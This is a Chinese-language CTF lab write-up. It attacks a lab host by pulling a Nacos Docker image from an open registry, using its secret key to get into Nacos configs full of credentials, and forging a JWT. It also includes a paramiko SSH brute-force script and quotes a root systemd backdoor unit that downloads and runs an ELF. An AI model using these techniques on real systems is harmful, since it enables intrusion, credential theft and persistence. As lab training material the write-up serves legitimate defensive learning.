第九章 - blueteam 的小心思 2
1
nacos 的 key 为多少 flag{base64decodekey}
这个环境并不是常规的上机进行应急的题目，这里需要先对靶机进行渗透攻击
扫描靶机的开放端口
信息
需要注意，环境启动需要一定时间，请稍等 3 分钟左右再开始扫描操 作
同时，建议使用云服务器进行扫描，校园网和流量热点都有出现不同情况的干扰
nmap
Nmap scan report for ec2-52-82-27-37.cn-northwest-1.compute.amazonaws.com.cn (52.82.27.37)
Host is up, received echo-reply ttl 43 (0.053s latency).
Scanned at 2024-05-26 16:18:35 CST for 65s
Not shown: 65520 closed ports
Reason: 65520 resets
PORT STATE SERVICE REASON VERSION
80/tcp filtered http no-response
135/tcp filtered msrpc no-response
136/tcp filtered profile no-response
137/tcp filtered netbios-ns no-response
138/tcp filtered netbios-dgm no-response
139/tcp filtered netbios-ssn no-response
443/tcp filtered https no-response
445/tcp filtered microsoft-ds no-response
593/tcp filtered http-rpc-epmap no-response
2222/tcp open ssh syn-ack ttl 42 OpenSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0)
| ssh-hostkey:
| 2048 39:26:71:4c:4f:48:c1:4c:75:f5:2b:6e:1e:5f:a1:0d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDScdsKvBjbOe7CjYm9G72Ew8uoxRv5tW1GnMJ9xBhddn61r7Q9EAhKl9a09tqfkc9PMHLrbg4sUFplCadSBATDcvTsazozoYto7NVuNoJD12R5O5VgoVDzzk29bID0gWoYcsGKuZjJ9BOJ/CDMHExkHq38wfisrUbAaPS27UM3e1DOKuGMDzi18BKsj1ZCOuqDio9jUjhh3xKxuWqPLkc12DLq4oSVOGMZOX85xj261BWoqgOwVTBmDt0FC+z0fiJlZYLs3xboqxWpIjUN70kDwJjOz1Oen/UX5mldViig4fcj337OQsOZhAfMez7BqtEOY7BcCI+lU9r5eg4zNuNv
| 256 9b:38:86:a7:6c:e2:5b:43:0b:19:ae:05:71:54:7a:16 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOmA2ukt6Jc8jLKDMZBNDcZnQBRsO+wQaiOUuyeQELgZNjpz4WuDSjw3mI6yNpwzySl5jt7sZ1A5muuSCNb6K0I=
| 256 3b:42:08:0a:93:83:c1:97:08:50:d8:28:59:e4:27:23 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIARiXHVhbRW2QY2h2UMG6ZJBsz8DmScnvoRpeqH79epF
4444/tcp filtered krb524 no-response
5000/tcp open http syn-ack ttl 41 Docker Registry (API: 2.0)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title.
8080/tcp filtered http-proxy no-response
8082/tcp open blackice-alerts? syn-ack ttl 41
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, RPCCheck, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400
| Date: Sun, 26 May 2024 08:19:00 GMT
| Connection: close
| FourOhFourRequest:
| HTTP/1.1 404
| Content-Type: application/json;charset=UTF-8
| Date: Sun, 26 May 2024 08:18:55 GMT
| Connection: close
| {"timestamp":"2024/05/26 16:18:55","status":404,"error":"Not Found","message":"No message available","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
| GetRequest:
| HTTP/1.1 302
| Set-Cookie: JSESSIONID=B7F3E564B8918E2D2C135099568E6B6F; Path=/; HttpOnly
| Location: http://localhost:8082/login.html
| Content-Length: 0
| Date: Sun, 26 May 2024 08:18:55 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET,HEAD,POST,PUT,PATCH,DELETE,OPTIONS
| Content-Length: 0
| Date: Sun, 26 May 2024 08:19:00 GMT
|_ Connection: close
8848/tcp open unknown syn-ack ttl 40
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 404
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 431
| Date: Sun, 26 May 2024 08:19:00 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 404
| Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404
| Found</h1></body></html>
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Sun, 26 May 2024 08:19:00 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
获取 nacos 镜像数据
在其中发现有 Docker Registry 服务，尝试进行访问
http://52.82.27.37:5000/v2/_catalog
{
"repositories": [
"nacos"
]
}
发现存在有 nacos 镜像，查看镜像的 tags
http://52.82.27.37:5000/v2/nacos/tags/list
{
"name": "nacos",
"tags": [
"latest"
]
}
尝试将镜像获取到本地，首先需要改写本地 docekr 的安全策略，允许 http 不安全的注册表
/etc/docker/daemon.json
{
"insecure-registries" : ["52.82.27.37:5000"]
}
然后重启 dockerd
sudo systemctl daemon-reload
sudo systemctl restart docker
下载镜像
randark@developer:~/temp$ docker pull 52.82.27.37:5000/nacos:latest
latest: Pulling from nacos
2d473b07cdd5: Pull complete
8e2e6bf0e569: Pull complete
c7276c1c2105: Pull complete
2694550f92f1: Pull complete
b043b5656d6f: Pull complete
103731dfc453: Pull complete
e1dec0556439: Pull complete
4f4fb700ef54: Pull complete
48ba5d7d5cad: Pull complete
Digest: sha256:42ea3485ea154fbbc6b6bd26f497f046b1355e888fc1792d87a143644945dfb8
Status: Downloaded newer image for 52.82.27.37:5000/nacos:latest
52.82.27.37:5000/nacos:latest
然后基于此镜像启动一个容器
randark@developer:~/temp$ docker run -d 52.82.27.37:5000/nacos
85bc4f99c050386699c96560d65fd8150d88b4989d75158d8d23cc0b9e0955d9
将 vscode 附加进此容器，开始审计
在 /home/nacos 目录下启动 vscode 进行审计，以 key 作为关键词进行搜索，可以找到这条记录
/home/nacos/conf/application.properties
nacos.core.auth.plugin.nacos.token.secret.key=eGpuYWNvczIwMjNwZW5ndWluZWRpc2VjZmxhZ2ZsYWdmbGFn
经过 Base64 解码后得到
eGpuYWNvczIwMjNwZW5ndWluZWRpc2VjZmxhZ2ZsYWdmbGFn
xjnacos2023penguinedisecflagflagflag
flag{xjnacos2023penguinedisecflagflagflag}
2
nacos 配置文件的 flag
从得到的 Docker 镜像中，可以得到以下三个配置项
nacos.core.auth.server.identity.key=nacosKey
nacos.core.auth.server.identity.value=nacosValue
nacos.core.auth.plugin.nacos.token.secret.key=eGpuYWNvczIwMjNwZW5ndWluZWRpc2VjZmxhZ2ZsYWdmbGFn
使用官方版本的 Nacos Docker Image 启动一个本地服务
git clone --depth 1 https://github.com/nacos-group/nacos-docker.git
cd nacos-docker
然后编辑 ./example/standalone-derby.yaml 这个文件
version: "2"
services:
nacos:
image: nacos/nacos-server:v2.2.3
container_name: nacos-standalone
environment:
- PREFER_HOST_MODE=hostname
- MODE=standalone
- NACOS_AUTH_IDENTITY_KEY=nacosKey
- NACOS_AUTH_IDENTITY_VALUE=nacosValue
- NACOS_AUTH_TOKEN=eGpuYWNvczIwMjNwZW5ndWluZWRpc2VjZmxhZ2ZsYWdmbGFn
- NACOS_AUTH_ENABLE=true
volumes:
- ./standalone-logs/:/home/nacos/logs
ports:
- "8848:8848"
- "9848:9848"
prometheus:
container_name: prometheus
image: prom/prometheus:latest
volumes:
- ./prometheus/prometheus-standalone.yaml:/etc/prometheus/prometheus.yml
ports:
- "9090:9090"
depends_on:
- nacos
restart: on-failure
grafana:
container_name: grafana
image: grafana/grafana:latest
ports:
- 3000:3000
restart: on-failure
启动本地服务
docker compose -f example/standalone-derby-xj.yaml up
正常访问本地服务，使用 nacos:nacos 登录平台，抓包，拿到 accesskey
流量重放给靶机，即可得到以下配置文件信息
{
"totalCount": 3,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"id": "710744516197363712",
"dataId": "GATEWAY",
"group": "DEFAULT_GROUP",
"content": "spring:\r\n cloud:\r\n gateway:\r\n routes:\r\n - id: index\r\n uri: lb://product-server\r\n predicates:\r\n - Method=GET",
"md5": null,
"encryptedDataKey": "",
"tenant": "",
"appName": "",
"type": null
},
{
"id": "710744516415467520",
"dataId": "ADMIN_CONFIG",
"group": "DEFAULT_GROUP",
"content": "\n# 项目相关配置 \ nadmin-api:\n # access_key_id 你的亚马逊 S3 服务器访问密钥 ID\n accessKey: AAAZKIAWTRDCOOZNINALPHDWN\n # secret_key 你的亚马逊 S3 服务器访问密钥 \ n secretKey: LAX2DAwi7yntlLnmOQvCYAAGITNloeZQlfLUSOzvW96s5c\n # bucketname 你的亚马逊 S3 服务器创建的桶名 \ n bucketName: kefu-test-env\n # bucketname 你的亚马逊 S3 服务器创建的桶名 \ n regionsName: ap-east-1\n # questionPicture 问题类型图片上传文件夹名称 \ n questionPicture: questionFolder\n # chatPicture 聊天图片上传文件夹名称 \ n chatPicture: chatFolder\n # rechargePicture 代客充值图片上传文件夹名称 \ n rechargePicture: rechargeFolder\n # 获取 ip 地址开关 \ n addressEnabled: true\n # 中后台的地址 \ n url: http://localhost\n # 中后台 API 地址 \ n seektopserUrl: http://localhost/api/partner/user/info/base\n # 中后台 API 请求 APPID\n seektopAppId: A9AA30D1D30F459VS7B83C054B3EAD770D\n # 中后台 API 请求密钥 \ n seektopSecretKey: yT2BivSJLCR4lHb8SzhNFmHSF12pBm+a4IfdF42/a1quQdu5wqznM7YA==\n # 客服关闭会话配置时间 \ n closeChannelTime: 3\n # redis-task 服务请求地址 \ n redisTaskUrl: http://localhost:8586 \n \nim:\n server:\n url: https://localhost:9507\n secret: ^look^\n\n\nserver:\n port: 8500\n servlet:\n context-path: /api\n\n# 配置数据源 \ nspring:\n datasource:\n druid:\n url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false\n username: root\n password: root\n\n main:\n allow-bean-definition-overriding: true\n\n jpa:\n hibernate:\n # 生产环境设置成 none，避免程序运行时自动更新数据库结构 \ n ddl-auto: none\n\n\nelasticsearch:\n nodes: es.localhost:9200\n\n# 多数据源配置 \ ngt:\n root:\n boot:\n #主动开启多数据源 \ n multiDatasourceOpen: true\n datasource[0]:\n dbName: slave\n url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false\n username: root\n password: root\n\n#jwt\njwt:\n header: Authorization\n # 令牌前缀 \ n token-start-with: Bearer\n # 必须使用最少 88 位的 Base64 对该令牌进行编码 \ n base64-secret: ZmQ0ZGI5NjQ0MDQwY2I4MjMxY2Y3ZmI3MjdhN2ZmMjNhODViOTg1ZGE0NTBjMGM4NDA5NzYxMjdjOWMwYWRmZTBlZjlhNGY3ZTg4Y2U3YTE1ODVkZDU5Y2Y3OGYwZWE1NzUzNWQ2YjFjZDc0NGMxZWU2MmQ3MjY1NzJmNTE0MzI=\n # 令牌过期时间 此处单位 / 毫秒 ，默认 4 小时，可在此网站生成 https://www.convertworld.com/zh-hans/time/milliseconds.html\n token-validity-in-seconds: 14400000\n # 在线用户 key\n online-key: online-token\n # 验证码 \ n code-key: code-key\n\n# 是否允许生成代码，生产环境设置为 false\ngenerator:\n enabled: false\n\n# 是否开启 swagger-ui\nswagger:\n enabled: true\n\n\n# 七牛云 \ nqiniu:\n # 文件大小 /M\n max-size: 15\n\n# 邮箱验证码有效时间 / 分钟 \ ncode:\n expiration: 5\n\n# 登录图形验证码有效时间 / 分钟 \ nloginCode:\n expiration: 2\n\n# sm.ms 图床的 token\nsmms:\n token: 1oOP3ykFDI0K6ifmtvU7c8Y1eTWZSlyl\n\n# file-managerpassword\nfile-manager:\n name: admin\n password: xj2023@1578921@123\n jwtkey: 123456\n#flag{9d7ffcef-bcd1-4f4b-9a2d-d51862484168}\ntask:\n pool:\n # 核心线程池大小 \ n core-pool-size: 10\n # 最大线程数 \ n max-pool-size: 30\n # 活跃时间 \ n keep-alive-seconds: 60\n # 队列容量 \ n queue-capacity: 50\n\n# 将该工程应用名称添加到计量器注册表的 tag 中 \ n# 开启 Actuator 服务 \ nmanagement:\n endpoints:\n web:\n exposure:\n include:'*'\n metrics:\n tags:\n application: admin-api",
"md5": null,
"encryptedDataKey": "",
"tenant": "",
"appName": "",
"type": null
},
{
"id": "710744516436439040",
"dataId": "ADMIN_API",
"group": "DEFAULT_GROUP",
"content": "# 项目相关配置 \ r\nadmin-api:\r\n # access_key_id 你的亚马逊 S3 服务器访问密钥 ID\r\n accessKey: AAKIAWTRDCOOZNINALPHDWN\r\n # secret_key 你的亚马逊 S3 服务器访问密钥 \ r\n secretKey: 2DAwi7yntlLnmOQvCYAAGITNloeZQlfLUSOzvW96s5c\r\n # bucketname 你的亚马逊 S3 服务器创建的桶名 \ r\n bucketName: kefu-test-env\r\n # bucketname 你的亚马逊 S3 服务器创建的桶名 \ r\n regionsName: ap-east-1\r\n # questionPicture 问题类型图片上传文件夹名称 \ r\n questionPicture: questionFolder\r\n # chatPicture 聊天图片上传文件夹名称 \ r\n chatPicture: chatFolder\r\n # 获取 ip 地址开关 \ r\n addressEnabled: true\r\n # 中后台的地址 \ r\n url: http://127.0.0.1\r\n # 中后台 API 地址 \ r\n seektopserUrl: http://127.0.0.1/api/partner/user/info/base\r\n # 中后台 API 请求 APPID\r\n seektopAppId: A9AA30D1D30F4597B83C054B3EAD770D\r\n # 中后台 API 请求密钥 \ r\n seektopSecretKey: yT2BivSJLCR4lHb8hNFmHSF12pBm+a4IfdF42/a1quQdu5wqznM7YA==\r\n # 客服关闭会话配置时间 \ r\n closeChannelTime: 3\r\n # redis-task 服务请求地址 \ r\n redisTaskUrl: http://localhost:8586 \r\n # SEO 代理帳號 \ r\n seoAgentName: \r\n \r\nim:\r\n server:\r\n url: http://localhost:9507/\r\n secret: ^look^\r\n\r\n\r\nserver:\r\n port: 8500\r\n servlet:\r\n context-path: /api\r\n\r\n# 配置数据源 \ r\nspring:\r\n datasource:\r\n druid:\r\n url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false\r\n username: root\r\n password: root\r\n\r\n main:\r\n allow-bean-definition-overriding: true\r\n\r\n jpa:\r\n hibernate:\r\n # 生产环境设置成 none，避免程序运行时自动更新数据库结构 \ r\n ddl-auto: none\r\n\r\n\r\nelasticsearch:\r\n nodes: es.localhost:9200\r\n\r\n#jwt\r\njwt:\r\n header: Authorization\r\n # 令牌前缀 \ r\n token-start-with: Bearer\r\n # 必须使用最少 88 位的 Base64 对该令牌进行编码 \ r\n base64-secret: ZmQ0ZGI5NjQ0MDQwY2I4MjMxY2Y3ZmI3MjdhN2ZmMjNhODViOTg1ZGE0NTBjMGM4NDA5NzYxMjdjOWMwYWRmZTBlZjlhNGY3ZTg4Y2U3YTE1ODVkZDU5Y2Y3OGYwZWE1NzUzNWQ2YjFjZDc0NGMxZWU2MmQ3MjY1NzJmNTE0MzI=\r\n # 令牌过期时间 此处单位 / 毫秒 ，默认 4 小时，可在此网站生成 https://www.convertworld.com/zh-hans/time/milliseconds.html\r\n token-validity-in-seconds: 14400000\r\n # 在线用户 key\r\n online-key: online-token\r\n # 验证码 \ r\n code-key: code-key\r\n\r\n# 是否允许生成代码，生产环境设置为 false\r\ngenerator:\r\n enabled: false\r\n\r\n# 是否开启 swagger-ui\r\nswagger:\r\n enabled: true\r\n\r\n# 文件存储路径 \ r\nfile:\r\n mac:\r\n path: ~/file/\r\n avatar: ~/avatar/\r\n linux:\r\n path: /home/admin/file/\r\n avatar: /home/admin/avatar/\r\n windows:\r\n path: C:\\admin\\file\\\r\n avatar: C:\\admin\\avatar\\\r\n # 文件大小 /M\r\n maxSize: 100\r\n avatarMaxSize: 5\r\n\r\n# 七牛云 \ r\nqiniu:\r\n # 文件大小 /M\r\n max-size: 15\r\n\r\n# 邮箱验证码有效时间 / 分钟 \ r\ncode:\r\n expiration: 5\r\n\r\n# 登录图形验证码有效时间 / 分钟 \ r\nloginCode:\r\n expiration: 2\r\n\r\n# sm.ms 图床的 token\r\nsmms:\r\n token: 1oOP3ykFDI0K6ifmtvU7c8Y1eTWZSlyl\r\n\r\ntask:\r\n pool:\r\n # 核心线程池大小 \ r\n core-pool-size: 10\r\n # 最大线程数 \ r\n max-pool-size: 30\r\n # 活跃时间 \ r\n keep-alive-seconds: 60\r\n # 队列容量 \ r\n queue-capacity: 50",
"md5": null,
"encryptedDataKey": "",
"tenant": "",
"appName": "",
"type": null
}
]
}
在其中的注释，就有 flag
同时，在配置文件中，有 8082 端口上 FMS 系统的凭据
file-manager:
name: admin
password: xj2023@1578921@123
jwtkey: 123456
flag{9d7ffcef-bcd1-4f4b-9a2d-d51862484168}
3
File Management System 的 flag
利用上文得到的凭据进入 FMS 系统
但是系统提示权限不足，需要身份为 sysadmin123456 用户
Cookie 中得到一份 JWT，其中包含有用户名，爆破可以得到 JWT 的密钥为 123456，于是可以直接修改重签为
JWT 处理好之后，替换本地的 cookie，然后访问 fms
就可以得到三个文件，重点放在 Excel 文件
同时，尝试上传文件的时候，返回的信息中包含有 flag
flag{d6c578d4a41a141d731fe7c36c8c0f77}
4
使用以下代码进行爆破
import pandas as pd
# 读取 Excel 文件
data = pd.read_excel("./ 运维账号. xlsx")
column_data = data["密码"]
passwords = column_data.to_list()
print(passwords)
import paramiko
for password in passwords:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect("69.230.211.19", port=2222, username="root", password=password)
except paramiko.ssh_exception.AuthenticationException:
print(password, "Failed")
ssh.close()
continue
print(password)
经过 SSH 爆破，可以得到 root 的密码为 imArGcj9
flag{imArGcj9}
5
黑客留下的 backdoor 后门的绝对路径
对系统的自启动（Enabled）服务进行排查
(remote) root@ip-10-0-10-1:/lib/systemd/system# systemctl list-unit-files --type=service --state=enabled
UNIT FILE STATE
amazon-ssm-agent.service enabled
apparmor.service enabled
autovt@.service enabled
cloud-config.service enabled
cloud-final.service enabled
cloud-init-local.service enabled
cloud-init.service enabled
containerd.service enabled
cron.service enabled
dbus-org.freedesktop.timesync1.service enabled
docker.service enabled
evilfms.service enabled
fms.service enabled
getty@.service enabled
networking.service enabled
ntp.service enabled
resolvconf.service enabled
rsyslog.service enabled
ssh.service enabled
sshd.service enabled
syslog.service enabled
systemd-timesyncd.service enabled
unscd.service enabled
23 unit files listed.
在其中发现 evilfms.service 这个服务
/etc/systemd/system/evilfms.service
[Unit]
Description=My evil App
After=network.target
[Service]
ExecStart=bash -c "curl -o /tmp/shell.elf http://localhost:8082/assets/images/fti/txt.png && chmod +x /tmp/shell.elf & ./tmp/shell.elf&"
WorkingDirectory=/home/
User=root
[Install]
WantedBy=multi-user.target
答案是服务配置文件的路径
flag{/etc/systemd/system/evilfms.service}